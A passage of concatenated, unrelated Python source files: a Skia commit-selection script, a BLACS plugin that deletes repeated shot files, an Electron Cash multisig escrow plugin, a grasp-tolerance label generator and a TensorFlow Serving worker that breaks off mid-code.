find_best_commit(commits): jobs = [j for j in get_jobs()] results = [] for commit_name in commits: commit_hash = subprocess.check_output(['git', 'rev-parse', commit_name]).strip() results.append((commit_hash, get_results_for_commit(commit_hash, jobs))) best_result = max(r for h, r in results) for h, r in results: if r == best_result: return h return None def generate_commit_list(args): return subprocess.check_output(['git', 'log', '--format=%H'] + args).splitlines() def main(args): os.chdir(skia_directory) subprocess.check_call(['git', 'fetch', 'origin']) sys.stderr.write('%s\n' % ' '.join(args)) commits = generate_commit_list(args) sys.stderr.write('%d\n' % len(commits)) best = find_best_commit(commits) sys.stderr.write('DONE:\n') sys.stderr.flush() sys.stdout.write('%s\n' % best) usage = '''Example usage: python %s origin/master ^origin/skqp/dev < /dev/null > LOG 2>&1 & disown ''' if __name__ == '__main__': if len(sys.argv) < 2: sys.stderr.write(usage % sys.argv[0]) sys.exit(1) main(sys.argv[1:])
__init__.py
##################################################################### # # # /plugins/delete_repeated_shots/__init__.py # # # # Copyright 2017, JQI # # # # This file is part of the program BLACS, in the labscript suite # # (see http://labscriptsuite.org), and is licensed under the # # Simplified BSD License. See the license.txt file in the root of # # the project for the full license. # # # ##################################################################### import logging import os import subprocess import threading import sys from queue import Queue from qtutils import UiLoader from labscript_utils.shared_drive import path_to_agnostic from labscript_utils.ls_zprocess import Lock from blacs.plugins import PLUGINS_DIR name = "Delete repeated shots" module = "delete_repeated_shots" # should be folder name logger = logging.getLogger('BLACS.plugin.%s'%module) KEEP_ALL_SHOTS = 0 class Plugin(object): def __init__(self, initial_settings): self.menu = None self.notifications = {} self.initial_settings = initial_settings self.BLACS = None self.ui = None self.n_shots_to_keep = initial_settings.get('n_shots_to_keep', KEEP_ALL_SHOTS) self.delete_queue = initial_settings.get('delete_queue', []) self.event_queue = Queue() self.delete_queue_lock = threading.Lock() self.mainloop_thread = threading.Thread(target=self.mainloop) self.mainloop_thread.daemon = True self.mainloop_thread.start() def plugin_setup_complete(self, BLACS): self.BLACS = BLACS # Add our controls to the BLACS UI: self.ui = UiLoader().load(os.path.join(PLUGINS_DIR, module, 'controls.ui')) BLACS['ui'].queue_controls_frame.layout().addWidget(self.ui) # Restore settings to the GUI controls: self.ui.spinBox.setValue(self.n_shots_to_keep) # Connect signals: self.ui.spinBox.valueChanged.connect(self.on_spinbox_value_changed) self.ui.reset_button.clicked.connect(self.on_reset_button_clicked) BLACS['ui'].queue_repeat_button.toggled.connect(self.ui.setEnabled) # Our control is only enabled when repeat mode is active: self.ui.setEnabled(BLACS['ui'].queue_repeat_button.isChecked()) def on_spinbox_value_changed(self, value): with self.delete_queue_lock: self.n_shots_to_keep = value # If the user reduces the number of shots to keep, but we had a # larger list of shots awaiting deletion, remove shots from the # deletion queue (without deleting them) until the queue is the # same size as the number of shots we are now keeping. This means # that if we set to keep 100 shots, and then we go ahead and run a # hundred shots, if we then set it to keep 5 shots it won't delete # the 95 oldest shots in the queue. Rather it will only delete the # most recent 5 (and not immediately - over the next 5 shots). while len(self.delete_queue) > self.n_shots_to_keep: self.delete_queue.pop(0) def on_reset_button_clicked(self): self.ui.spinBox.setValue(KEEP_ALL_SHOTS) def get_save_data(self): return {'n_shots_to_keep': self.n_shots_to_keep, 'delete_queue': self.delete_queue} def get_callbacks(self): return {'shot_complete': self.on_shot_complete} def on_shot_complete(self, h5_filepath): # If we're keeping all shots, then there's nothing to do here: if self.n_shots_to_keep == KEEP_ALL_SHOTS: return # Is the file a repeated shot? basename, ext = os.path.splitext(os.path.basename(h5_filepath)) if '_rep' in basename and ext == '.h5': repno = basename.split('_rep')[-1] try: int(repno) except ValueError: # not a rep: return else: # Yes, it is a rep. Queue it for deletion: self.delete_queue.append(h5_filepath) self.event_queue.put('shot complete') def mainloop(self): # We delete shots in a separate thread so that we don't slow down the queue waiting on # network communication to acquire the lock, while True: try: event = self.event_queue.get() if event == 'close': break elif event == 'shot complete': while len(self.delete_queue) > self.n_shots_to_keep: with self.delete_queue_lock: h5_filepath = self.delete_queue.pop(0) # Acquire a lock on the file so that we don't # delete it whilst someone else has it open: with Lock(path_to_agnostic(h5_filepath)): try: os.unlink(h5_filepath) logger.info("Deleted repeated shot file %s" % h5_filepath) except OSError: logger.exception("Couldn't delete shot file %s" % h5_filepath) else: raise ValueError(event) except Exception: logger.exception("Exception in repeated shot deletion loop, ignoring.") def close(self): self.event_queue.put('close') self.mainloop_thread.join() # The rest of these are boilerplate: def get_menu_class(self): return None def get_notification_classes(self): return [] def get_setting_classes(self): return [] def set_menu_instance(self, menu): self.menu = menu def set_notification_instances(self, notifications): self.notifications = notifications
qt.py
#!/usr/bin/python3 # -*- coding: utf-8 -*- import sys, threading, time #from PyQt5.QtCore import pyqtSlot #from PyQt5.QtWidgets import * #from PyQt5.QtGui import QFont, QIcon from PyQt5.QtGui import * from PyQt5.QtCore import * from PyQt5.QtWidgets import * from electroncash.i18n import _ from electroncash import Network from electroncash.bitcoin import COIN from electroncash.address import Address, AddressError from electroncash.plugins import BasePlugin, hook from electroncash_gui.qt.util import EnterButton, Buttons, CloseButton, MessageBoxMixin, Buttons, MyTreeWidget, TaskThread #from electroncash_gui.qt.util import * from electroncash_gui.qt.util import OkButton, WindowModalDialog from electroncash.util import user_dir import electroncash.version, os from .cashrip import CashRip #sys.stderr = open('/dev/null', 'w') class cashripQT(QWidget): def __init__(self, window, parent): super().__init__() self.window = window self.parent = parent self.config = window.config self.cashRip = self.parent.cashRip self.title = 'CashRipQT' self.initUI() # qt.py and qt3.py are identical starting from this line until almost end of file, except for if __name__. def initUI(self): QToolTip.setFont(QFont('SansSerif', 10)) #self.setToolTip('This is a <b>QWidget</b> widget') self.buttons = QHBoxLayout() btn1 = QPushButton('1: Create Contract\n(buyer)', self) btn1.setToolTip('Creates a new contract.') btn1.resize(btn1.sizeHint()) btn1.clicked.connect(self.invite) self.buttons.addWidget(btn1) #btn.move(50, 50) btn2 = QPushButton('2: Accept Invite\n(merchant)', self) btn2.setToolTip('Input: partner\'s <b>x_pubkey</b>.') btn2.resize(btn2.sizeHint()) btn2.clicked.connect(self.accInvite) self.buttons.addWidget(btn2) btn3 = QPushButton('3: Check Address\n(buyer)', self) btn3.setToolTip('Input: your partner\'s generated multisig <b>address</b> and <b>x_pubkey</b>. Also select the <b>contract</b> you used to invite your partner.') btn3.resize(btn3.sizeHint()) btn3.clicked.connect(self.checkAddress) self.buttons.addWidget(btn3) btn4 = QPushButton('4: Request Release', self) btn4.setToolTip('Input: BCH <b>address</b> to which the funds will be released. Also select your <b>contract</b> that contains the funds to be released.') btn4.resize(btn4.sizeHint()) btn4.clicked.connect(self.requestRelease) self.buttons.addWidget(btn4) btn5 = QPushButton('5: Release', self) btn5.setToolTip('Input: <b>hex code</b> sent by your partner. Also select your <b>contract</b> that contains the funds to be released.') btn5.resize(btn5.sizeHint()) btn5.clicked.connect(self.release) self.buttons.addWidget(btn5) btn6 = QPushButton('Delete Contract', self) btn6.setToolTip('Delete selected <b>contract</b>. You cannot delete any contract that still contains funds as you will then be unable to release those funds in the future.') btn6.resize(btn6.sizeHint()) btn6.clicked.connect(self.delContract) self.buttons.addWidget(btn6) self.table = cashRipList(self) self.table.setSelectionBehavior(QAbstractItemView.SelectRows) #self.table.itemClicked.connect(self.table_click) #self.table.setColumnCount(4) #self.table.setHorizontalHeaderLabels(("Address;Confirmed;Unconfirmed;x_pubkey").split(";")) #self.table.setColumnWidth(3,230) #self.table.horizontalHeaderItem().setTextAlignment(Qt.AlignHCenter) self.table.update() #listWidget.currentItemChanged.connect(self.item_click) self.textArea1 = QLabel('Please select the contract you wish to use below.') #self.textArea2 = QLabel('Contract information (x_pubkey or transaction hex) goes in the box below.') self.textArea2 = QLabel('') self.textArea2.setTextInteractionFlags(Qt.TextSelectableByMouse | Qt.TextSelectableByKeyboard) self.textArea2.setStyleSheet("color: rgb(0, 0, 0);") self.textArea2.setSizePolicy(QSizePolicy.Ignored, QSizePolicy.Fixed) #self.textArea.setText('Please select the contract you wish to use above.\nContract information (x_pubkey or transaction hex) goes in the box below.') #self.textBox = QPlainTextEdit(self) #self.textBox.setPlainText('') ''' self.addressBoxArea = QHBoxLayout() self.addressBox = QLineEdit(self) self.addrLabel = QLabel("Address:") self.addressBoxArea.addWidget(self.addrLabel) self.addressBoxArea.addWidget(self.addressBox) ''' # Add box layout, add table to box layout and add box layout to widget self.layout = QVBoxLayout() self.layout.addWidget(self.textArea1) self.layout.addWidget(self.table) #layout.addStretch(1) self.layout.addWidget(self.textArea2) #self.layout.addWidget(self.textBox) #self.layout.addLayout(self.addressBoxArea) self.layout.addLayout(self.buttons) self.setLayout(self.layout) #self.layout.move(100,100) #self.listWidget.show() self.setWindowTitle('Cash Rip') #self.setGeometry(self.left, self.top, self.width, self.height) self.resize(self.sizeHint()) self.center() self.show() def center(self): qr = self.frameGeometry() cp = QDesktopWidget().availableGeometry().center() qr.moveCenter(cp) self.move(qr.topLeft()) def table_click(self, item): pass #print(item.text()) #print(self.currentRow()) #print(self.table.currentRow()) def getCurrentContract(self): item = self.table.currentItem() if item: return int(item.text(0)) else: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("Please select a contract above, or create a new one via Create or Accept.") return None #@pyqtSlot() #def run_update(self): # self.table.update() def clearTextArea(self): #self.textArea2.setStyleSheet("color: rgb(0, 0, 0);") self.textArea2.setStyleSheet("") self.textArea2.setText("") def invite(self): self.clearTextArea() buttonReply = QMessageBox.question(self, 'PyQt5 message', "This will create a new contract", QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if buttonReply == QMessageBox.Yes: self.textArea2.setText("Please wait . . .") self.textArea2.repaint() wallet, contract = self.cashRip.genContractWallet() contract["label"] = "buyer" self.cashRip.updateContracts() self.parent.update() self.textArea2.setText("Give this x_pubkey to the other party:\n{}".format(contract['my_x_pubkey'])) else: return def accInvite(self): self.clearTextArea() text, ok = QInputDialog.getText(self, "Accept Invite","Your partner's x_pubkey:", QLineEdit.Normal, "") if ok: xpub = text #xpub = self.textBox.document().toPlainText() if xpub[:2] != "ff" or len(xpub) < 100: #self.textBox.setStyleSheet("background-color: rgb(255, 0, 0);") self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("The x_pubkey that you entered is invalid.") return self.textArea2.setText("Please wait . . .") self.textArea2.repaint() wallet, contract = self.cashRip.genContractWallet() contract["label"] = "merchant" self.cashRip.updateContracts() idx = len(self.cashRip.contracts)-1 try: contract = self.cashRip.create_multisig_addr(idx, xpub) except: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("Something was wrong with the x_pubkey you entered.") self.cashRip.delContract(idx) self.parent.update() return self.textArea2.setText("Your multisig address: {}\nYour x_pubkey: {}\nPlease share your x_pubkey and multisig address with your partner.".format(contract["address"], contract["my_x_pubkey"])) self.parent.update() #if self.textArea2.text()[:4] == "Your": self.cashRip.startSyncMultiWallet(idx) def checkAddress(self): self.clearTextArea() currentContract = self.getCurrentContract() if currentContract == None: return if "address" in self.cashRip.contracts[currentContract]: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("This contract already has an address. Maybe you selected the wrong contract?") return #text, ok = QInputDialog.getText(self, "Check Address","Your partner's x_pubkey:", QLineEdit.Normal, "") dialog = CheckAddressDialog(self) dialog.currentContract = currentContract dialog.show() #dialog.exec_() self.dialog = dialog #if dialog.exec_(): def checkAddressAcc(self, dialog): #if a == QDialog.acccepted: #addrOrig = self.addressBox.text() addrOrig = dialog.address.text() try: addr = Address.from_string(addrOrig) except AddressError as e: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("The multisig address you entered is invalid.") return if addr.kind != Address.ADDR_P2SH: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("The address you entered was not a multisig address.") return xpub = dialog.xpub.text() if xpub[:2] != "ff" or len(xpub) < 100: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("The x_pubkey that you entered is invalid.") return #currentContract = self.getCurrentContract() currentContract = dialog.currentContract if self.cashRip.contracts[currentContract]["my_x_pubkey"] == xpub: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("You entered your own x_pubkey, not your partner's.") return try: self.textArea2.setText("Please wait . . .") self.textArea2.repaint() contract = self.cashRip.create_multisig_addr(currentContract, xpub, False) except: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("Something was wrong with the x_pubkey you pasted.") return if contract["address"] == addrOrig: self.textArea2.setText("Success. You and your partner generated the same address. You can now send funds to {}".format(addrOrig)) self.cashRip.startSyncMultiWallet(currentContract) else: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("Something went wrong. You and your partner generated different addresses. Please double-check the x_pubkeys that you have sent to each other.") os.remove(contract['addrWalletFile']) del contract["addrWalletFile"] del contract["address"] del contract["partner_addr"] del contract["partner_x_pubkey"] del contract["partner_pubkey"] del contract["gen_by_me"] del contract["redeemScript"] self.cashRip.updateContracts() self.cashRip.multiWallets[currentContract] = None self.parent.update() def requestRelease(self): self.clearTextArea() currentContract = self.getCurrentContract() if currentContract == None: return if "address" not in self.cashRip.contracts[currentContract]: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("This contract does not have a multisig address yet.") return item = self.table.currentItem() balance = float(item.text(3))+float(item.text(4)) if balance == 0: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("This contract has no funds yet.") return text, ok = QInputDialog.getText(self, "Request Release","Address to release funds to:", QLineEdit.Normal, "") if ok: addr = text try: addrCheck = Address.from_string(addr) except AddressError as e: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("The release address you entered was invalid.") return try: self.textArea2.setText("Please wait . . .") self.textArea2.repaint() tx = self.cashRip.maketx_from_multisig(currentContract, addr) except ValueError as e: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText(str(e)) return # EC 3.3.1 needs output address to be Address object rather than String. Giving it String will cause AssertionError. TypeError is caused if you give Address object to EC 3.3.2 - this won't run for now. except (AssertionError,TypeError) as e: #print(type(e)) tx = self.cashRip.maketx_from_multisig(currentContract, addrCheck) self.textArea2.setText("Send this transaction hex to your partner. He needs it to release your funds:\n{}".format(tx['hex'])) def release(self): self.clearTextArea() currentContract = self.getCurrentContract() if currentContract == None: return if "address" not in self.cashRip.contracts[currentContract]: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("This contract does not have a multisig address yet.") return item = self.table.currentItem() balance = float(item.text(3))+float(item.text(4)) if balance == 0: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("This contract has no funds yet.") return text, ok = QInputDialog.getText(self, "Release","Transaction hex:", QLineEdit.Normal, "") if ok: txhex = text if len(txhex) < 150: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("The transaction hex you entered was too short.") return try: self.textArea2.setText("Please wait . . .") self.textArea2.repaint() sent = self.cashRip.sign_broadcast_tx_from_partner(txhex, currentContract) if sent: self.textArea2.setText("Transaction was broadcast to the network.") else: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("Transaction was not broadcast. Either you selected the wrong contract or the transaction hex did not contain a valid signature.") except: self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("Something went wrong. Maybe the hex value was invalid.") def delContract(self): self.clearTextArea() currentContract = self.getCurrentContract() if currentContract == None: return curItem = self.table.currentItem() balC = curItem.text(3) balU = curItem.text(4) if curItem.text(2)[:4] != 'Wait' and (balC != "0.0" or balU != "0.0"): #buttonReply = QMessageBox.question(self, 'Confirmation', "Are you sure you want to delete Contract #{}? It contains funds and you will be unable to release them in the future.".format(currentContract), QMessageBox.Yes | QMessageBox.No, QMessageBox.No) self.textArea2.setStyleSheet("color: rgb(255, 0, 0);") self.textArea2.setText("Cannot delete Contract #{} as it contains funds.".format(currentContract)) return buttonReply = QMessageBox.question(self, 'Confirmation', "Are you sure you want to delete Contract #{}?".format(currentContract), QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if buttonReply == QMessageBox.Yes: self.cashRip.delContract(currentContract) #self.table.update() self.parent.update() else: return class CheckAddressDialog(QDialog): def __init__(self, parent): super(CheckAddressDialog, self).__init__() self.parent = parent self.createFormGroupBox() buttonBox = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel) buttonBox.accepted.connect(self.accept) buttonBox.rejected.connect(self.reject) mainLayout = QVBoxLayout() mainLayout.addWidget(self.formGroupBox) mainLayout.addWidget(buttonBox) self.setLayout(mainLayout) self.setWindowTitle("Check Address") self.resize(self.sizeHint()) def accept(self): self.parent.checkAddressAcc(self) self.close() def createFormGroupBox(self): self.formGroupBox = QGroupBox("Check that your partner generated the multisig address correctly.") layout = QFormLayout() self.address = QLineEdit() self.xpub = QLineEdit() layout.addRow(QLabel("Address:"), self.address) layout.addRow(QLabel("Partner's x_pubkey:"), self.xpub) self.formGroupBox.setLayout(layout) class cashRipList(MyTreeWidget): #filter_columns = [0, 2] def __init__(self, parent): self.columns = [ _("Index"), _("Label"),_("Address"), _("Confirmed"), _("Unconfirmed"), _("Your x_pubkey") ] MyTreeWidget.__init__(self, parent, self.create_menu, self.columns, 5, [1]) self.cashRip = self.parent.parent.cashRip self.setSelectionMode(QAbstractItemView.ExtendedSelection) self.setSortingEnabled(True) #self.setColumnWidth(1,5000) def create_menu(self, position): menu = QMenu() selected = self.selectedItems() names = [item.text(0) for item in selected] keys = [item.text(1) for item in selected] column = self.currentColumn() column_title = self.headerItem().text(column) column_data = '\n'.join([item.text(column) for item in selected]) menu.addAction(_("Copy {}").format(column_title), lambda: QApplication.clipboard().setText(column_data)) if column in self.editable_columns: item = self.currentItem() menu.addAction(_("Edit {}").format(column_title), lambda: self.editItem(item, column)) #run_hook('create_contact_menu', menu, selected) menu.exec_(self.viewport().mapToGlobal(position)) def on_edited(self, item, column, prior): label = item.text(1) if len(label) > 40: label = label[:50] for c in self.cashRip.contracts: if c["my_x_pubkey"] == item.text(5): c["label"] = label self.cashRip.updateContracts() self.update() return def on_update(self): #print("Updating tables") #standard, multi = self.cashRip.getContractWalletBalances() multi = self.cashRip.getMultiBalances() item = self.currentItem() current_id = int(item.text(0)) if item else None self.clear() items = [] for i,c in enumerate(self.cashRip.contracts): if "address" in c: addr = c['address'] values = [str(i), c["label"], addr, str(multi[addr][0]/COIN), str(multi[addr][1]/COIN), c["my_x_pubkey"]] item = QTreeWidgetItem(values) self.addTopLevelItem(item) else: item = QTreeWidgetItem([str(i), c["label"], "Wait for partner to send address.", None, None, c["my_x_pubkey"]]) self.addTopLevelItem(item) if i == current_id: self.setCurrentItem(item) class SignalDummy(QObject): update_signal = pyqtSignal() class Plugin(BasePlugin): def fullname(self): return 'cash_rip' def description(self): return _("Configure CashRip Protocol") def is_available(self): return True def __init__(self, parent, config, name): BasePlugin.__init__(self, parent, config, name) self.windows = [] self.tabs = [] self.cashRip = None self.config = config self.signal_dummy = SignalDummy() self.signal_dummy.update_signal.connect(self.update) #self.tableUpdater = threading.Thread(target=self.updateTableLoop) #self.tableUpdater.daemon = True self.keepUpdating = True self.tableUpdater = TaskThread(self.signal_dummy) self.tableUpdater.add(self.updateTableLoop) self.tableUpdater.start() #self.wallet_windows = {} @hook def init_qt(self, gui): # We get this multiple times. Only handle it once, if unhandled. if self.windows: return for window in gui.windows: self.load_wallet(window.wallet, window) def updateTableLoop(self): while self.keepUpdating: time.sleep(6) self.signal_dummy.update_signal.emit() @hook def load_wallet(self, wallet, window): """ Hook called when a wallet is loaded and a window opened for it. """ if self.cashRip == None: topDir = os.path.join(self.config.path, 'cash_rip_data') self.cashRip = CashRip(topDir, window.network) self.windows.append(window) tab = cashripQT(window, self) self.tabs.append(tab) #self.tab.set_coinshuffle_addrs() icon = QIcon(":icons/tab_coins.png") description = _("Cash Rip") name = "Cash Rip" tab.tab_icon = icon tab.tab_description = description #self.tab.tab_pos = len(self.window.tabs) tab.tab_name = name window.tabs.addTab(tab, icon, description.replace("&", "")) @hook def on_close_window(self, window): idx = self.windows.index(window) #tab = self.tabs[idx] del self.windows[idx] #tab.tableUpdater.stop() #tab.keepUpdating = False del self.tabs[idx] def on_close(self): """ BasePlugin callback called when the plugin is disabled among other things. """ for idx,w in enumerate(self.windows): tab = self.tabs[idx] tabIndex = w.tabs.indexOf(tab) w.tabs.removeTab(tabIndex) self.tableUpdater.stop() self.keepUpdating = False self.windows.clear() self.tabs.clear() #@pyqtSlot() def update(self): for tab in self.tabs: tab.table.update() def requires_settings(self): return False
generate_tolerance_label.py
""" Tolerance label generation. Author: chenxi-wang """ import os import sys import numpy as np import time import argparse import multiprocessing as mp BASE_DIR = os.path.dirname(os.path.abspath(__file__)) ROOT_DIR = os.path.dirname(BASE_DIR) sys.path.append(os.path.join(ROOT_DIR, 'utils')) from data_utils import compute_point_dists parser = argparse.ArgumentParser() parser.add_argument('--dataset_root', required=True, help='Dataset root') parser.add_argument('--pos_ratio_thresh', type=float, default=0.8, help='Threshold of positive neighbor ratio[default: 0.8]') parser.add_argument('--mu_thresh', type=float, default=0.55, help='Threshold of friction coefficient[default: 0.55]') parser.add_argument('--num_workers', type=int, default=50, help='Worker number[default: 50]') cfgs = parser.parse_args() save_path = 'tolerance' V = 300 A = 12 D = 4 radius_list = [0.001 * x for x in range(51)] def manager(obj_name, pool_size=8): # load models label_path = '{}_labels.npz'.format(obj_name) label = np.load(os.path.join(cfgs.dataset_root, 'grasp_label', label_path)) points = label['points'] scores = label['scores'] # create dict tolerance = mp.Manager().dict() dists = compute_point_dists(points, points) params = params = (scores, dists) # assign works pool = [] process_cnt = 0 work_list = [x for x in range(len(points))] for _ in range(pool_size): point_ind = work_list.pop(0) pool.append(mp.Process(target=worker, args=(obj_name, point_ind, params, tolerance))) [p.start() for p in pool] # refill while len(work_list) > 0: for ind, p in enumerate(pool): if not p.is_alive(): pool.pop(ind) point_ind = work_list.pop(0) p = mp.Process(target=worker, args=(obj_name, point_ind, params, tolerance)) p.start() pool.append(p) process_cnt += 1 print('{}/{}'.format(process_cnt, len(points))) break while len(pool) > 0: for ind, p in enumerate(pool): if not p.is_alive(): pool.pop(ind) process_cnt += 1 print('{}/{}'.format(process_cnt, len(points))) break # save tolerance if not os.path.exists(save_path): os.mkdir(save_path) saved_tolerance = [None for _ in range(len(points))] for i in range(len(points)): saved_tolerance[i] = tolerance[i] saved_tolerance = np.array(saved_tolerance) np.save('{}/{}_tolerance.npy'.format(save_path, obj_name), saved_tolerance) def worker(obj_name, point_ind, params, tolerance): scores, dists = params tmp_tolerance = np.zeros([V, A, D], dtype=np.float32) tic = time.time() for r in radius_list: dist_mask = (dists[point_ind] <= r) scores_in_ball = scores[dist_mask] pos_ratio = ((scores_in_ball > 0) & (scores_in_ball <= cfgs.mu_thresh)).mean(axis=0) tolerance_mask = (pos_ratio >= cfgs.pos_ratio_thresh) if tolerance_mask.sum() == 0: break tmp_tolerance[tolerance_mask] = r tolerance[point_ind] = tmp_tolerance toc = time.time() print("{}: point {} time".format(obj_name, point_ind), toc - tic) if __name__ == '__main__': obj_list = ['%03d' % x for x in range(88)] for obj_name in obj_list: p = mp.Process(target=manager, args=(obj_name, cfgs.num_workers)) p.start() p.join()
prototype_v1_worker.py
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== #!/usr/bin/env python2.7 """Send JPEG image to tensorflow_model_server loaded with inception model. """ from __future__ import print_function # This is a placeholder for a Google-internal import. from grpc.beta import implementations import tensorflow as tf from tensorflow.python.framework import tensor_util # from tensorflow_serving.apis import tomtest_pb2 # from tensorflow_serving.apis import tomtest_grpc_pb2 from tensorflow_serving.apis import predict_pb2 from tensorflow_serving.apis import prediction_service_pb2 from tensorflow_serving.apis import olympian_master_grpc_pb2 from tensorflow_serving.apis import olympian_worker_grpc_pb2 import time import numpy as np import logging logging.basicConfig() from concurrent import futures import grpc import threading _ONE_DAY_IN_SECONDS = 60 * 60 * 24 MAX_MESSAGE_LENGTH = 1024 * 1024 * 64 tf.app.flags.DEFINE_string('worker', 'localhost:50100', 'Olympian worker host:port') FLAGS = tf.app.flags.FLAGS # from chain_modules.chain_mobilenet import MobilenetPreprocess class MobilenetPreprocess(): def Setup(self, chain_name, route_table, current_model, next_stub, request, istub, cstub): self.chain_name = chain_name self.route_table = route_table self.current_model = current_model self.next_stub = next_stub self.request = request self.request_input = tensor_util.MakeNdarray(self.request.inputs["input"]) self.istub = istub self.cstub = cstub return def PreProcess(self): print("========== Predict() ==========") print("[%s][Worker] Received request using chain %s w/ request_input.shape = %s" % (str(time.time()), self.chain_name, str(self.request_input.shape))) print("[%s][Worker] current_model = %s" % (time.time(), self.current_model)) print(" next_stub = %s" % (self.next_stub)) self.internal_request = predict_pb2.PredictRequest() self.internal_request.model_spec.name = "exported_mobilenet_v1_1.0_224_preprocess" self.internal_request.model_spec.signature_name = 'predict_images' self.internal_request.inputs['input_image_name'].CopyFrom( tf.contrib.util.make_tensor_proto(self.request_input)) return def Apply(self): self.internal_result = self.istub.Predict(self.internal_request, 10.0) return def PostProcess(self): internal_result_value = tensor_util.MakeNdarray(self.internal_result.outputs["normalized_image"]) print("[%s][Worker] Received internal result, ready for next_stub %s\n" % (str(time.time()), self.next_stub)) next_request = predict_pb2.PredictRequest() next_request.model_spec.name = self.chain_name next_request.model_spec.signature_name = "chain_specification" next_request.inputs['normalized_image'].CopyFrom( tf.contrib.util.make_tensor_proto(internal_result_value, shape=[1, 224, 224, 3])) next_request.inputs['route_table'].CopyFrom( tf.contrib.util.make_tensor_proto(str(self.route_table))) next_result = self.cstub.Predict(next_request, 10.0) return class MobilenetInference(): def Setup(self, chain_name, route_table, current_model, next_stub, request, istub, cstub): self.chain_name = chain_name self.route_table = route_table self.current_model = current_model self.next_stub = next_stub self.request = request self.request_input = tensor_util.MakeNdarray(self.request.inputs["normalized_image"]) self.istub = istub self.cstub = cstub return def PreProcess(self): print("========== Predict() ==========") print("[%s][Worker] Received request using chain %s w/ request_input.shape = %s" % (str(time.time()), self.chain_name, str(self.request_input.shape))) print("[%s][Worker] current_model = %s" % (time.time(), self.current_model)) print(" next_stub = %s" % (self.next_stub)) self.internal_request = predict_pb2.PredictRequest() self.internal_request.model_spec.name = "exported_mobilenet_v1_1.0_224_inference" self.internal_request.model_spec.signature_name = 'predict_images' self.internal_request.inputs['normalized_image'].CopyFrom( tf.contrib.util.make_tensor_proto(self.request_input, shape=[1, 224, 224, 3])) return def Apply(self): self.internal_result = self.istub.Predict(self.internal_request, 10.0) return def PostProcess(self): internal_result_value = tensor_util.MakeNdarray(self.internal_result.outputs["scores"]) print("[%s][Worker] Received internal result, ready for next_stub %s\n" % (str(time.time()), self.next_stub)) next_request = predict_pb2.PredictRequest() next_request.model_spec.name = self.chain_name next_request.model_spec.signature_name = "chain_specification" next_request.inputs['FINAL'].CopyFrom( tf.contrib.util.make_tensor_proto(internal_result_value, shape=[1, 5])) next_result = self.cstub.Predict(next_request, 10.0) return # Worker Class class OlympianWorker(olympian_worker_grpc_pb2.OlympianWorkerServicer): def sendHeartBeat(self): # send heartbeat message to Master every 15 sec. while (True): hb_message = "Hello from %s" % str(FLAGS.worker) hb_request = predict_pb2.PredictRequest() hb_request.model_spec.name = "unknown" hb_request.model_spec.signature_name = 'unknown' hb_request.inputs['HEARTBEAT'].CopyFrom( tf.contrib.util.make_tensor_proto(hb_message)) try: hb_result = self.cstubs[self.master_list[0]].Predict(hb_request, 10.0) except Exception as e: print("Failed with: %s" % str(e)) break time.sleep(15) def __init__(self): self.cstubs = dict() # add worker stub self.worker_list = ["localhost:50101", "localhost:50102"] # worker_list = ["192.168.1.125:50101", "192.168.1.102:50102"] for w in self.worker_list: channel = grpc.insecure_channel(w) stub = olympian_worker_grpc_pb2.OlympianWorkerStub(channel) self.cstubs[w] = stub # add master stub self.master_list = ["localhost:50051"] # master_list = ["192.168.1.102:50051"] for m in self.master_list: channel = grpc.insecure_channel(m) stub = olympian_master_grpc_pb2.OlympianMasterStub(channel) self.cstubs[m] = stub # add istub for internal TF-Serving ichannel = implementations.insecure_channel("localhost", 9000) self.istub = prediction_service_pb2.beta_create_PredictionService_stub(ichannel) # send heartbeat periodically t = threading.Thread(target = self.sendHeartBeat) t.start() def getStubInfo(self, route_table, current_stub): tmp = route_table.split("-") for i in range(len(tmp)): t = tmp[i] tt = t.split(":") tstub = "%s:%s" % (tt[1], tt[2]) if (tstub == current_stub): current_model = tt[0] ttt = tmp[i + 1] tttt = ttt.split(":") next_stub = "%s:%s" % (tttt[1], tttt[2]) return current_model, next_stub return "Error", "Error" def printRouteTable(self, route_table, machine_name): tmp = route_table.split("-") for i in range(len(tmp)): print("[%s][%s] route info: hop-%s %s" % (str(time.time()), machine_name, str(i).zfill(2), tmp[i])) def Predict(self, request, context): if (request.model_spec.signature_name == "chain_specification"): # gRPC from client chain_name = request.model_spec.name route_table = tensor_util.MakeNdarray(request.inputs["route_table"]) current_model, next_stub = self.getStubInfo(str(route_table), FLAGS.worker) if (current_model == "exported_mobilenet_v1_1.0_224_preprocess"): mobilenetpreprocess = MobilenetPreprocess() mobilenetpreprocess.Setup(chain_name, route_table, current_model, next_stub, request, self.istub, 